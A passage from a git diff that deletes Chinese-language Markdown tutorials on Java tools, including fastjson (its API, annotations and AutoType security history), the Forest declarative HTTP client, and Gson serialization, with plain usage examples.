-![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/choco-0f43e407-68ab-4c2d-8fb9-7fb88ca638ec.png) - -### 小结 - -通过小二的实战笔记,我们可以了解到。 - -对比下载安装包,通过图形化界面的方式安装 JDK,然后下一步,下一步是不是感觉在 Shell 下安装 JDK 更炫酷一些? - -关键是还省去了环境变量的配置。 - -记得还没有走出新手村的时候,就经常被环境变量配置烦不胜烦。那下载这种命令行的方式,要比手动在环境变量中配置要省事一百倍,也更不容易出错。 - -通过 Choco 可以集中安装、管理、更新各种各样的软件。特别适合管理一些轻量级的开源软件,一条命令搞定,升级的时候也方便,不用再重新去下载新的安装包,可以有效治愈更新强迫症患者的症状。 - -如果不想特殊设置的话,Chocolatey 整体的操作与使用还是比较亲民的。就连刚接触软件开发的小白也可以直接使用,而且路人看着会觉得你特别厉害。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/gongju/fastjson.md b/docs/src/gongju/fastjson.md deleted file mode 100644 index dcc69913bb..0000000000 --- a/docs/src/gongju/fastjson.md +++ /dev/null @@ -1,288 +0,0 @@ ---- -title: fastjson:阿里巴巴开源的JSON解析库 -category: - - Java企业级开发 -tag: - - 辅助工具/轮子 ---- - - - -### 01、前世今生 - -我是 fastjson,是个地地道道的杭州土著,但我始终怀揣着一颗走向全世界的雄心。这不,我在 GitHub 上的简介都换成了英文,国际范十足吧? - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/fastjson-0576767f-c447-49f1-83a3-6971782c4d52.png) - -如果你的英语功底没有我家老板 666 的话,我可以简单地翻译下(说人话,不装逼)。 - -我是阿里巴巴开源的一款 JSON 解析库,可以将 Java 对象序列化成 JSON 字符串,同时也可以将 JSON 字符串反序列化为 Java 对象。 - -- 我提供了服务器端和安卓客户端两种解析工具,性能表现还不错。 - -- 我提供了便捷的方式来进行 Java 对象和 JSON 之间的互转,`toJSONString()` 方法用来序列化,`parseObject()` 方法用来反序列化。 - -- 我允许转换预先存在的无法修改的对象(只有 class、没有源代码)。 - -- 对 Java 泛型有着广泛的支持。 - -- 我支持任意复杂的对象(深度的继承层次)。 - -2012 年的时候,我就被开源中国评选为最受欢迎的国产开源软件之一。时隔多年,我的流行趋势没有丝毫减退,在 JSON 领域,我敢说我是 NO 1,因为我在 GitHub 上的粉丝数已经超过了 22k,没有任何人敢忽视我这样的成就。 - -### 02、使用指南 - -在使用我的 API 之前,需要先在 pom.xml 文件中引入我的依赖。 - -``` - - com.alibaba - fastjson - 1.2.58 - -``` - -我来写一个简单的测试用例,你看一下。 - -```java -public class Test { - public static void main(String[] args) { - Writer writer = new Writer(); - writer.setAge(18); - writer.setName("沉默王二"); - - String json = JSON.toJSONString(writer); - System.out.println(json); - } -} -class Writer { - private int age; - private String name; - - // getter/setter -} -``` - -Writer 是一个普通的 Java 类,有两个字段,分别是 age 和 name,还有它们俩对应的 getter 和 setter 方法。 - -`main()` 方法中创建了一个 Writer 对象,然后调用我提供的一个静态方法 `JSON.toJSONString()` 来得到 JSON 字符串。 - -来看一下打印后的结果。 - -``` -{"age":18,"name":"沉默王二"} -``` - -如果想反序列化的话,执行以下的代码即可。 - -``` -Writer writer1 = JSON.parseObject(json, Writer.class); -``` - -调用静态方法 `JSON.parseObject()`,传递两个参数,一个是 JSON 字符串,一个是对象的类型。 - -如果想把 JSON 字符串转成集合的话,需要调用另外一个静态方法 `JSON.parseArray()`。 - -```java -List list = JSON.parseArray("[{\"age\":18,\"name\":\"沉默王二\"},{\"age\":19,\"name\":\"沉默王一\"}]", Writer.class); -``` - -如果没有特殊要求的话,我敢这么说,以上 3 个方法就可以覆盖到你绝大多数的业务场景了。 - -### 03、使用注解 - -有时候,你的 JSON 字符串中的 key 可能与 Java 对象中的字段不匹配,比如大小写;有时候,你需要指定一些字段序列化但不反序列化;有时候,你需要日期字段显示成指定的格式。 - -这些特殊场景,我统统为你考虑到了,只需要在对应的字段上加上 `@JSONField` 注解就可以了。 - -先来看一下 `@JSONField` 注解的定义吧。 - -```java -public @interface JSONField { - String name() default ""; - String format() default ""; - boolean serialize() default true; - boolean deserialize() default true; -} -``` - -name 用来指定字段的名称,format 用来指定日期格式,serialize 和 deserialize 用来指定是否序列化和反序列化。 - -```java -class Writer { - private int age; - private String name; - private Date birthday; - - @JSONField(format = "yyyy年MM月dd日") - public Date getBirthday() { - return birthday; - } - - public void setBirthday(Date birthday) { - this.birthday = birthday; - } - - @JSONField(name = "Age") - public int getAge() { - return age; - } - - public void setAge(int age) { - this.age = age; - } - - @JSONField(serialize = false,deserialize = true) - public String getName() { - return name; - } - - public void setName(String name) { - this.name = name; - } -} -``` - -我建议在 getter 字段上使用 `@JSONField` 注解。来看一下测试代码。 - -```java -Writer writer = new Writer(); -writer.setAge(18); -writer.setName("沉默王二"); -writer.setBirthday(new Date()); - -String json = JSON.toJSONString(writer); -System.out.println(json); -``` - -此时的输出结果如下所示。 - -``` -{"Age":18,"birthday":"2020年12月17日"} -``` - -JSON 字符串中的 Age 首字母为大写,birthday 的格式符合“年月日”的预期,name 字段没有出现在结果中,说明没有被序列化。 - -### 04、序列化特性 - -为了满足更多个性化的需求,我在 SerializerFeature 类中定义了很多特性,你可以在调用 `toJSONString()` 方法的时候进行指定。 - -- PrettyFormat,让 JSON 格式打印得更漂亮一些 -- WriteClassName,输出类名 -- UseSingleQuotes,key 使用单引号 -- WriteNullListAsEmpty,List 为空则输出 [] -- WriteNullStringAsEmpty,String 为空则输出“” - -等等等等,更多新技能,等待你去开锁。我这里写个简单的 demo 供你参考。 - -```java -System.out.println(JSON.toJSONString(writer, -SerializerFeature.PrettyFormat, -SerializerFeature.UseSingleQuotes)); -``` - -对比一下配置前和配置后的结果。 - -``` -{"Age":18,"birthday":"2020年12月17日"} -{ - 'Age':18, - 'birthday':'2020年12月17日' -} -``` - -### 05、我为什么快 - -众所周知,把 Java 对象序列化成 JSON 字符串,是不可能使用字符串直接拼接的,因为这样性能很差。比字符串拼接更好的办法就是使用 `StringBuilder`。 - -StringBuilder 尽管已经很好了,但在性能上还有上升的空间。“自己动手,丰衣足食”,于是我就创造了一个 SerializeWriter 类,专门用来序列化。 - -SerializeWriter 类中包含了一个 `char[] buf`,每序列化一次,都要做一次分配,但我使用了 ThreadLocal 来进行优化,这样就能够有效地减少对象的分配和垃圾回收,从而提升性能。 - -```java -private final static ThreadLocal bufLocal = new ThreadLocal(); - -public SerializeWriter(java.io.Writer writer, int defaultFeatures, SerializerFeature... features){ - this.writer = writer; - - buf = bufLocal.get(); - - if (buf != null) { - bufLocal.set(null); - } else { - buf = new char[2048]; - } -} -``` - -除此之外,还有很多其他的细节,比如说使用 IdentityHashMap 而不是 HashMap,既可以避免多余的 `equals` 操作,又可以避免多线程并发情况下的死循环。 - -```java -/** - * for concurrent IdentityHashMap - * - * @author wenshao[szujobs@hotmail.com] - */ -@SuppressWarnings("unchecked") -public class IdentityHashMap { - private final Entry[] buckets; - private final int indexMask; - public final static int DEFAULT_SIZE = 8192; -} -``` - -再比如说,使用 asm 技术来避免反射导致的开销。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/fastjson-86a38cb0-3acc-4132-8e1f-48ebeaa52b47.png) - -我承认,快的同时,也带来了一些安全性的问题。尤其是 AutoType 的引入,让黑客有了可乘之机。 - -> 1.2.59 发布,增强 AutoType 打开时的安全性 -> -> 1.2.60 发布,增加了 AutoType 黑名单,修复拒绝服务安全问题 -> -> 1.2.61 发布,增加 AutoType 安全黑名单 -> -> 1.2.62 发布,增加 AutoType 黑名单、增强日期反序列化和 JSONPath -> -> 1.2.66 发布,Bug 修复安全加固,并且做安全加固,补充了 AutoType 黑名单 -> -> 1.2.67 发布,Bug 修复安全加固,补充了 AutoType 黑名单 -> -> 1.2.68 发布,支持 GEOJSON,补充了 AutoType 黑名单。(引入一个 safeMode 的配置,配置 safeMode 后,无论白名单和黑名单,都不支持 autoType。) -> -> 1.2.69 发布,修复新发现高危 AutoType 开关绕过安全漏洞,补充了 AutoType 黑名单 -> -> 1.2.70 发布,提升兼容性,补充了 AutoType 黑名单 - -在于黑客的反复较量中,我虽然变得越来越稳重成熟了,但与此同时,让我的用户为此也付出了沉重的代价。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/fastjson-6868c673-8799-4326-baab-1050a5a4e9a3.png) - - -网络上也出现了很多不和谐的声音,他们声称我是最垃圾的国产开源软件之一,只不过凭借着一些投机取巧赢得了国内开发者的信赖。 - -但更多的是,对我的不离不弃。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/fastjson-85a44233-6eb2-4164-a091-6b65fc5f001a.png) - -最令我感到为之动容的一句话是: - ->温少几乎凭一己之力撑起了一个被广泛使用 JSON 库,而其他库几乎都是靠一整个团队,就凭这一点,温少作为“初心不改的阿里初代开源人”,当之无愧。 - -出现漏洞并不可怕,可怕的是发现不了漏洞,或者说无法解决掉漏洞。 - -为了彻底解决 AutoType 带来的问题,在 1.2.68 版本中,我引入了 safeMode 的安全模式,无论白名单和黑名单,都不支持 AutoType,这样就可以彻底地杜绝攻击。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/fastjson-57146979-cb99-4236-94f9-1cd5276e8269.png) - -安全模式下,`checkAutoType()` 方法会直接抛出异常。 - -### 06、尾声 - -不管前面的路还有多少艰难困苦,也不管还要面对多少风言风语,我都会砥砺前行,为了国产开源软件的蓬勃发展,我愿意做一个先驱者,也愿意做一个持久战者。 - - -2020 年的最后一篇文章!看到的就点个赞吧,2021 年顺顺利利。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/gongju/forest.md b/docs/src/gongju/forest.md deleted file mode 100644 index f282f7c0b8..0000000000 --- a/docs/src/gongju/forest.md +++ /dev/null @@ -1,385 +0,0 @@ ---- -title: Forest:一款极简的声明式HTTP调用API框架 -category: - - Java企业级开发 -tag: - - 辅助工具/轮子 ---- - - - -大家好,我是二哥呀!今天来给大家推荐一款直击痛点的 HTTP 客户端框架,可以超高效率地完成和第三方接口的对接。 - -在介绍本篇的主角之前,我们先来了解下 Java 生态中的 HTTP 组件库,大致可以分为三类: - -- JDK 自带的 HttpURLConnection 标准库; -- Apache HttpComponents HttpClient; -- OkHttp。 - -使用 HttpURLConnection 发起 HTTP 请求最大的优点是不需要引入额外的依赖,但是使用起来非常繁琐,也缺乏连接池管理、域名机械控制等特性支持。 - -使用标准库的最大好处就是不需要引入额外的依赖,但使用起来比较繁琐,就像直接使用 JDBC 连接数据库那样,需要很多模板代码。来发起一个简单的 HTTP POST 请求吧。 - -```java -public class HttpUrlConnectionDemo { - public static void main(String[] args) throws IOException { - String urlString = "https://httpbin.org/post"; - String bodyString = "password=123"; - - URL url = new URL(urlString); - HttpURLConnection conn = (HttpURLConnection) url.openConnection(); - conn.setRequestMethod("POST"); - conn.setDoOutput(true); - - OutputStream os = conn.getOutputStream(); - os.write(bodyString.getBytes("utf-8")); - os.flush(); - os.close(); - - if (conn.getResponseCode() == HttpURLConnection.HTTP_OK) { - InputStream is = conn.getInputStream(); - BufferedReader reader = new BufferedReader(new InputStreamReader(is)); - StringBuilder sb = new StringBuilder(); - String line; - while ((line = reader.readLine()) != null) { - sb.append(line); - } - System.out.println("响应内容:" + sb.toString()); - } else { - System.out.println("响应码:" + conn.getResponseCode()); - } - } -} -``` - -HttpURLConnection 发起的 HTTP 请求比较原始,基本上算是对网络传输层的一次浅层次的封装;有了 HttpURLConnection 对象后,就可以获取到输出流,然后把要发送的内容发送出去;再通过输入流读取到服务器端响应的内容;最后打印。 - -不过 HttpURLConnection 不支持 HTTP/2.0,为了解决这个问题,Java 9 的时候官方的标准库增加了一个更高级别的 HttpClient,再发起 POST 请求就显得高大上多了,不仅支持异步,还支持顺滑的链式调用。 - -```java -public class HttpClientDemo { - public static void main(String[] args) throws URISyntaxException { - HttpClient client = HttpClient.newHttpClient(); - HttpRequest request = HttpRequest.newBuilder() - .uri(new URI("https://postman-echo.com/post")) - .headers("Content-Type", "text/plain;charset=UTF-8") - .POST(HttpRequest.BodyPublishers.ofString("二哥牛逼")) - .build(); - client.sendAsync(request, HttpResponse.BodyHandlers.ofString()) - .thenApply(HttpResponse::body) - .thenAccept(System.out::println) - .join(); - } -} -``` - -Apache HttpComponents HttpClient 支持的特性也非常丰富: - -- 基于标准、纯净的Java语言,实现了HTTP1.0和HTTP1.1; -- 以可扩展的面向对象的结构实现了HTTP全部的方法; -- 支持加密的HTTPS协议(HTTP通过SSL协议); -- Request的输出流可以避免流中内容体直接从socket缓冲到服务器; -- Response的输入流可以有效的从socket服务器直接读取相应内容。 - -```java -public class HttpComponentsDemo { - public static void main(String[] args) throws IOException, IOException, ParseException { - try (CloseableHttpClient httpclient = HttpClients.createDefault()) { - HttpPost httpPost = new HttpPost("http://httpbin.org/post"); - List nvps = new ArrayList<>(); - nvps.add(new BasicNameValuePair("name", "二哥")); - httpPost.setEntity(new UrlEncodedFormEntity(nvps, Charset.forName("UTF-8"))); - - try (CloseableHttpResponse response2 = httpclient.execute(httpPost)) { - System.out.println(response2.getCode() + " " + EntityUtils.toString(response2.getEntity())); - } - } - } -} -``` - -OkHttp 是一个执行效率比较高的 HTTP 客户端: - -- 支持 HTTP/2.0,当多个请求对应同一个 Host 地址时,可共用同一个 Socket; -- 连接池可减少请求延迟; -- 支持 GZIP 压缩,减少网络传输的数据大小; -- 支持 Response 数据缓存,避免重复网络请求; - -```java -public class OkHttpPostDemo { - public static final MediaType JSON = MediaType.get("application/json; charset=utf-8"); - - OkHttpClient client = new OkHttpClient(); - - String post(String url, String json) throws IOException { - RequestBody body = RequestBody.create(json, JSON); - Request request = new Request.Builder() - .url(url) - .post(body) - .build(); - try (Response response = client.newCall(request).execute()) { - return response.body().string(); - } - } - - public static void main(String[] args) throws IOException { - OkHttpPostDemo example = new OkHttpPostDemo(); - String json = "{'name':'二哥'}"; - String response = example.post("https://httpbin.org/post", json); - System.out.println(response); - } -} -``` - -那今天介绍的这款轻量级的 HTTP 客户端框架 Forest,正是基于 Httpclient和OkHttp 的,屏蔽了不同细节的 HTTP 组件库所带来的所有差异。 - -Forest 的字面意思是森林的意思,更内涵点的话,可以拆成For和Rest两个单词,也就是“为了Rest”(Rest为一种基于HTTP的架构风格)。 而合起来就是森林,森林由很多树木花草组成(可以理解为各种不同的服务),它们表面上看独立,实则在地下根茎交错纵横、相互连接依存,这样看就有点现代分布式服务化的味道了。 最后,这两个单词反过来读就像是Resultful。 - -项目地址: - ->[https://gitee.com/dromara/forest](https://gitee.com/dromara/forest) - -**虽然 star 数还不是很多,但 star 趋势图正在趋于爬坡阶段,大家可以拿来作为一个练手项目,我觉得还是不错的选择**。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/forest-55b54f3f-88a7-458b-b8e0-b0d60e916d5e.png) - -Forest 本身是处理前端过程的框架,是对后端 HTTP API 框架的进一步封装。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/forest-41345eec-fe16-4fcf-9448-0cb8c57d515f.png) - -前端部分: - -- 通过RPC方式去发送HTTP请求, 方便解耦 -- 支持GET, HEAD, POST等所有请求方法 -- 支持Spring和Springboot集成 -- JSON字符串到Java对象的自动化解析 -- XML文本到Java对象的自动化解析 -- 支持灵活的模板表达式 -- 支持拦截器处理请求的各个生命周期 -- 支持自定义注解 - -后端部分: - -- 支持OkHttp -- 支持Httpclient - -Forest 容易上手,不需要调用HTTP底层接口,而是像 Dubbo 那样的 RPC 框架一样,只需要定义接口、调用接口即可。几分钟内就可完成请求的定义、发送、接收响应、数据解析、错误处理、日志打印等过程。 - -配置轻量,遵循约定优于配置的原则,只需在需要的时候进行配置,不配置也不会影响Forest请求的正常调用。 - -简单优雅,将 HTTP 请求细节封装成 Java 接口 + 注解的形式,不必再关心发送 HTTP 请求的具体过程。使得 HTTP 请求信息与业务代码解耦,方便管理大量 HTTP 的 URL、Header、Body 等信息。 - -扩展灵活,允许自定义拦截器、甚至是自定义注解,以此来扩展Forest的能力。 - -Forest 不需要我们编写具体的 HTTP 调用过程,只需要定义一个接口,然后通过 Forest 注解将 HTTP 请求的信息添加到接口的方法上即可。请求发送方通过调用定义的接口就能自动发送请求和接受请求的响应。 - -Forest 之所以能做到这样,是因为它将定义好的接口通过动态代理的方式生成了一个具体的实现类,然后组织、验证 HTTP 请求信息,绑定动态数据,转换数据形式,SSL 验证签名,调用后端 HTTP API执行实际请求,等待响应,失败重试,转换响应数据到 Java 类型等脏活累活都由这动态代理的实现类给包了。 - -废话就不再多说,直接开始实战。 - -第一步,添加 Maven 依赖。 - -``` - - com.dtflys.forest - forest-core - 1.5.1 - -``` - -第二步,构建 HTTP 请求。 - -在 Forest 中,所有的 HTTP 请求信息都要绑定到某一个接口的方法上,不需要编写具体的代码去发送请求。请求发送方通过调用事先定义好 HTTP 请求信息的接口方法。 - -```java -public interface ForRestClient { - @Request( - url = "http://httpbin.org/post", - type = "POST" - ) - String simplePost(@Body("name") String name); -} -``` - -通过 `@Post` 注解,将上面的ForRestClient接口中的 `simplePost()` 方法绑定了一个 HTTP 请求,使用 POST 方式,可以使用@Body注解修饰参数的方式,将传入参数的数据绑定到 HTTP 请求体中。然后将请求响应的数据以String的方式返回给调用者。 - -第三步,调用接口。 - -```java -public class ForRestDemo { - public static void main(String[] args) { - // 实例化Forest配置对象 - ForestConfiguration configuration = ForestConfiguration.configuration(); - configuration.setBackendName("httpclient"); - - // 通过Forest配置对象实例化Forest请求接口 - ForRestClient myClient = configuration.createInstance(ForRestClient.class); - - // 调用Forest请求接口,并获取响应返回结果 - String result = myClient.simplePost("二哥"); - System.out.println(result); - } -} -``` - -ForestConfiguration为 Forest 的全局配置对象类,所有的 Forest 的全局基本配置信息由此类进行管理。 - -可以来看一下运行后的日志信息: - -```java -{ - "args": {}, - "data": "", - "files": {}, - "form": { - "name": "\u4e8c\u54e5" - }, - "headers": { - "Content-Length": "23", - "Content-Type": "application/x-www-form-urlencoded", - "Host": "httpbin.org", - "User-Agent": "Apache-HttpClient/4.5.2 (Java/11.0.8)", - "X-Amzn-Trace-Id": "Root=1-60b533aa-58b41e4967803d99593c53a0" - }, - "json": null, - "origin": "161.81.21.32", - "url": "http://httpbin.org/post" -} -``` - -此时,一个简单的 Forest 上手小栗子就跑通了。 - -如果是 Spring Boot 项目的话,就不需要 ForestConfiguration 了,只需要在启动类或者配置类上添加 `@ForestScan` 注解就可以了。 - -```java -@SpringBootApplication -@Configuration -@ForestScan(basePackages = "com.yoursite.client") -public class MyApp { - ... -} -``` - -Forest 除了支持GET和POST,也支持其他几种 HTTP 请求方式,比如PUT、HEAD、 OPTIONS、DELETE。只需要在构建接口的时候使用对应的注解就可以了,比如说 PUT: - -```java -// PUT请求 -@Put("http://localhost:8080/hello") -String simplePut(); -``` - -在POST和PUT请求方法中,通常使用 HTTP 请求体进行数据传输,在 Forest 中,可以使用 `@Body`、`@JSONBody`、`@XMLBody` 等多种方式设置请求体数据。 - -```java -/** - * 直接修饰一个JSON字符串 - */ -@Post("http://localhost:8080/hello/user") -String helloUser(@JSONBody String userJson); -``` - -Forest 请求会自动将响应的返回数据反序列化成对应的数据类型,分两步走。 - -第一步:定义dataType属性 - -dataType属性指定了该请求响应返回的数据类型,可选的数据类型有三种: text, json, xml,默认为 text。 - -```java -/** - * dataType为json或xml时,Forest会进行相应的反序列化 - */ -@Request( - url = "http://localhost:8080/text/data", - dataType = "json" -) -Map getData(); -``` - -第二步:指定反序列化的目标类型 - -反序列化需要一个目标类型,而该类型其实就是方法的返回值类型,如返回值为String就会反序列成String字符串,返回值为Map就会反序列化成一个HashMap对象,也可以指定为自定义的Class类型。 - -如果有这样一个 User 类: - -```java -public class User { - private String username; - private String score; - - // Setter和Getter ... -} -``` - -返回的数据为 JSON 字符串: - -``` -{"username": "Foo", "score": "82"} -``` - -那请求接口就应该定义成这样: - -```java -/** - * dataType属性指明了返回的数据类型为JSON - */ -@Get( - url = "http://localhost:8080/user?id=${0}", - dataType = "json" -) -User getUser(Integer id) -``` - -另外,大家需要了解一下 Gzip,它是现在一种流行的文件压缩算法,有相当广泛的应用范围。尤其是当Gzip用来压缩存文本文件的时候效果尤为明显,大概能减少70%以上的文件大小。很多 HTTP 服务器都支持 Gzip,比如 Tomcat,经过这些服务压缩过的数据可以降低网络传输的流量,提高客户端的响应速度。 - -Forest从1.5.2-BETA版本开始支持Gzip的解压,其解压的方式也很简单,在方法或接口类上加上 @DecompressGzip 注解即可。 - -```java -/** - * 为请求方法添加Gzip解压能力 - */ -@Get("/transaction") -@DecompressGzip -String transaction(String infno); -``` - -更重要的一点是,Forest 可以通过设置@Request注解的async属性为true来实现异步请求。 - -```java -@Request( - url = "http://localhost:8080/hello/user?username=${0}", - async = true, - headers = {"Accept:text/plain"} -) -void asyncGet(String username, OnSuccess onSuccess); -``` - -异步请求时,通过 `OnSuccess` 回调函数来接受响应数据,而不是通过接口方法的返回值,所以这里的返回值类型一般会定义为void。 - -调用该接口方法时,可以通过下面的方式: - -```java -myClient.send("foo", (String resText, ForestRequest request, ForestResponse response) -> { - // 成功响应回调 - System.out.println(resText); - }, - (ForestRuntimeException ex, ForestRequest request, ForestResponse response) -> { - // 异常回调 - System.out.println(ex.getMessage()); - }); -``` - -除了上面提到的这些功能,Forset 还支持更高级的用法: - -- HTTPS -- 文件上传下载 -- 拦截器 -- 使用代理 -- 自定义注解 - -大家可以去看一下 Forset 的官方文档,然后在本地实践一下,还是能学到不少知识的,尤其是 HTTPS 和文件上传下载这块,只需要简单的配置就能完成,我个人感觉还是挺值得去学习和借鉴的。 - -开源精神难能可贵,好的开源需要大家的添砖加瓦和支持。希望这篇文章能给大家在选择 HTTP 客户端框架时带来一个新的选择,对,就是 Forest。 - -这篇文章不仅介绍了 Forest 这个轻量级的 HTTP 客户端框架,还回顾了它的底层实现:HttpClient 和 OkHttp,希望能对大家有所帮助。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/gongju/gson.md b/docs/src/gongju/gson.md deleted file mode 100644 index ce70a00711..0000000000 --- a/docs/src/gongju/gson.md +++ /dev/null @@ -1,458 +0,0 @@ ---- -title: Gson:Google开源的JSON解析库 -category: - - Java企业级开发 -tag: - - 辅助工具/轮子 ---- - - - -### 01、前世今生 - -我叫 Gson,是一款开源的 Java 库,主要用途为序列化 Java 对象为 JSON 字符串,或反序列化 JSON 字符串成 Java 对象。从我的名字上,就可以看得出一些端倪,我并非籍籍无名,我出身贵族,我爸就是 Google,市值富可敌国。 - -当然了,作为一个聪明人,我是有自知之明的,我在我爸眼里,我并不是最闪耀的那颗星。 - -我来到这个世上,纯属一次意外,反正我爸是这样对我说的,他总说我是从河边捡回来的,虽然我一直不太相信。对于这件事,我向我妈确认过,她听完笑得合不拢嘴,说我太天真。 - -长大后,我喜欢四处闯荡,因此结识了不少同行,其中就有 [Jackson](https://mp.weixin.qq.com/s/e94E2FquEzjmXSlHRA8Qzw) 和 [Fastjson](https://mp.weixin.qq.com/s/TsIHRTOyF2_4oNb1APfZ6Q)。 - -说起 Jackson,我总能第一时间想到 MJ,那个被上帝带走的流行天王。Jackson 在 GitHub 上有 6.1k 的 star,虽然他的粉丝数没我多,但作为 Spring Boot 的默认 JSON 解析器,我非常地尊重他。 - -Fastjson 来自神秘的东方,虽然爆出过一些严重的漏洞,但这并不妨碍他成为最受欢迎的 JSON 解析器,他的粉丝数比我还要多,尽管我已经有超过 18K 的 star。 - -外人总说我们是竞争对手,但我必须得告诉他们,我们仨的关系,好到就差穿同一条内裤了。 - -我们各有优势,Jackson 在运行时占用的内存较少,Fastjson 的速度更快,而我,可以处理任意的 Java 对象,甚至在没有源代码的情况下。另外,我对泛型的支持也更加的友好。 - -### 02、添加依赖 - -在使用我的 API 之前,需要先把我添加到项目当中,推荐使用 Maven 和 Gradle 两种形式。 - -Maven: - -``` - - com.google.code.gson - gson - 2.8.6 - -``` - -Gradle: - -``` -dependencies { - implementation 'com.google.code.gson:gson:2.8.6' -} -``` - -PS:Gradle 是一个基于 Apache Ant 和 Apache Maven 概念的项目自动化建构工具。Gradle 构建脚本使用的是 Groovy 或 Kotlin 的特定领域语言来编写的,而不是传统的 XML。 - -### 03、性能表现 - -不是我觉得,是真的,通过大量的测试证明,我在处理 JSON 的时候性能还是很牛逼的。 - -测试环境:双核,8G 内存,64 位的 Ubuntu 操作系统(以桌面应用为主的 Linux 发行版) - -测试结果: - -1)在反序列化 25M 以上的字符串时没有出现过任何问题。 - -2)可以序列化 140 万个对象的集合。 - -3)可以反序列化包含 87000 个对象的集合。 - - 4)将字节数组和集合的反序列化限制从 80K 提高到 11M 以上。 - -测试用例我已经帮你写好了,放在 GitHub 上,如果你不相信的话,可以验证一下。 - ->[https://github.com/google/gson/blob/master/gson/src/test/java/com/google/gson/metrics/PerformanceTest.java](https://github.com/google/gson/blob/master/gson/src/test/java/com/google/gson/metrics/PerformanceTest.java) - -### 04、使用指南 - -不是我自吹自擂,是真的,我还是挺好用的,上手难度几乎为零。如果你不相信话,可以来试试。 - -我有一个女朋友,她的名字和我一样,也叫 `Gson`,我的主要功能都由她来提供。你可以通过 `new Gson()` 的这种简单粗暴的方式创建她,也可以打电话给一个叫 GsonBuilder 的老板,让他邮寄一个复刻版过来,真的,我不骗你。 - -先来看一个序列化的例子。 - -```java -Gson gson = new Gson(); -System.out.println(gson.toJson(18)); -System.out.println(gson.toJson("沉默")); -System.out.println(gson.toJson(new Integer(18))); -int[] values = { 18,20 }; -System.out.println(gson.toJson(values)); -``` - -在我女朋友的帮助下,你可以将基本数据类型 int、字符串类型 String、包装器类型 Integer、int 数组等等作为参数,传递给 `toJson()` 方法,该方法将会返回一个 JSON 形式的字符串。 - -来看一下输出结果: - -``` -18 -"沉默" -18 -[18,20] -``` - -再来看一下反序列化的例子。 - -```java -Gson gson = new Gson(); -int one = gson.fromJson("1", int.class); -Integer two = gson.fromJson("2", Integer.class); -Boolean false1 = gson.fromJson("false", Boolean.class); -String str = gson.fromJson("\"王二\"", String.class); -String[] anotherStr = gson.fromJson("[\"沉默\",\"王二\"]", String[].class); - -System.out.println(one); -System.out.println(two); -System.out.println(false1); -System.out.println(str); -System.out.println(Arrays.toString(anotherStr)); -``` - -`toJson()` 方法用于序列化,对应的,`fromJson()` 方法用于反序列化。不过,你需要在反序列化的时候,指定参数的类型,是 int 还是 Integer,是 Boolean 还是 String,或者 String 数组。 - -来看一下输出结果: - -``` -1 -2 -false -王二 -[沉默, 王二] -``` - -上面的例子都比较简单,还体现不出来我的威力。 - -下面,我们来自定义一个类: - -```java -public class Writer { - private int age = 18; - private String name = "王二"; - private transient int sex = 1; -} -``` - -然后,我们来将其序列化: - -```java -Writer writer = new Writer(); -Gson gson = new Gson(); -String json = gson.toJson(writer); -System.out.println(json); -``` - -用法和之前一样简单,来看一下输出结果: - -``` -{"age":18,"name":"王二"} -``` - -同样,可以将结果反序列化: - -``` -Writer writer1 = gson.fromJson(json, Writer.class); -``` - -这里有一些注意事项,我需要提醒你。 - -1)推荐使用 `private` 修饰字段。 - -2)不需要使用任何的注解来表明哪些字段需要序列化,哪些字段不需要序列化。默认情况下,包括所有的字段,以及从父类继承过来的字段。 - -3)如果一个字段被 `transient` 关键字修饰的话,它将不参与序列化。 - -4)如果一个字段的值为 null,它不会在序列化后的结果中显示。 - -5)JSON 中缺少的字段将在反序列化后设置为默认值,引用数据类型的默认值为 null,数字类型的默认值为 0,布尔值默认为 false。 - -接下来,来看一个序列化集合的例子。 - -```java -List list =new ArrayList<>(); -list.add("好好学习"); -list.add("天天向上"); -String json = gson.toJson(list); -``` - -结果如下所示: - -``` -["好好学习","天天向上"] -``` - -反序列化的时候,也很简单。 - -```java -List listResult = gson.fromJson(json,List.class); -``` - -结果如下所示: - -``` -[好好学习, 天天向上] -``` - -我女朋友是一个很细心也很贴心的人,在你调用 `toJson()` 方法进行序列化的时候,她会先判 null,防止抛出 NPE,再通过 `getClass()` 获取参数的类型,然后进行序列化。 - -```java -public String toJson(Object src) { - if (src == null) { - return toJson(JsonNull.INSTANCE); - } - return toJson(src, src.getClass()); -} -``` - -但是呢?对于泛型来说,`getClass()` 的时候会丢掉参数化类型。来看下面这个例子。 - -```java -public class Foo { - T value; - - public void set(T value) { - this.value = value; - } - - public T get() { - return value; - } - - public static void main(String[] args) { - Gson gson = new Gson(); - Foo foo = new Foo(); - Bar bar = new Bar(); - foo.set(bar); - - String json = gson.toJson(foo); - } -} - -class Bar{ - private int age = 10; - private String name = "图灵"; -} -``` - - -假如你 debug 的时候,进入到 `toJson()` 方法的内部,就可以观察到。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongju/gson-402ff6b5-a460-45de-ab62-ede6fbf6b61e.png) - -foo 的实际类型为 `Foo`,但我女朋友在调用 `foo.getClass()` 的时候,只会得到 Foo,这就意味着她并不知道 foo 的实际类型。 - -序列化的时候还好,反序列化的时候就无能为力了。 - -```java -Foo foo1 = gson.fromJson(json, foo.getClass()); -Bar bar1 = foo1.get(); -``` - -这段代码在运行的时候就报错了。 - -``` -Exception in thread "main" java.lang.ClassCastException: class com.google.gson.internal.LinkedTreeMap cannot be cast to class com.itwanger.gson.Bar (com.google.gson.internal.LinkedTreeMap and com.itwanger.gson.Bar are in unnamed module of loader 'app') - at com.itwanger.gson.Foo.main(Foo.java:36) -``` - -默认情况下,泛型的参数类型会被转成 LinkedTreeMap,这显然并不是我们预期的 Bar,女朋友对此表示很无奈。 - -作为 Google 的亲儿子,我的血液里流淌着“贵族”二字,我又怎能忍心女朋友无助时的落寞。 - -于是,我在女朋友的体内植入了另外两种方法,带 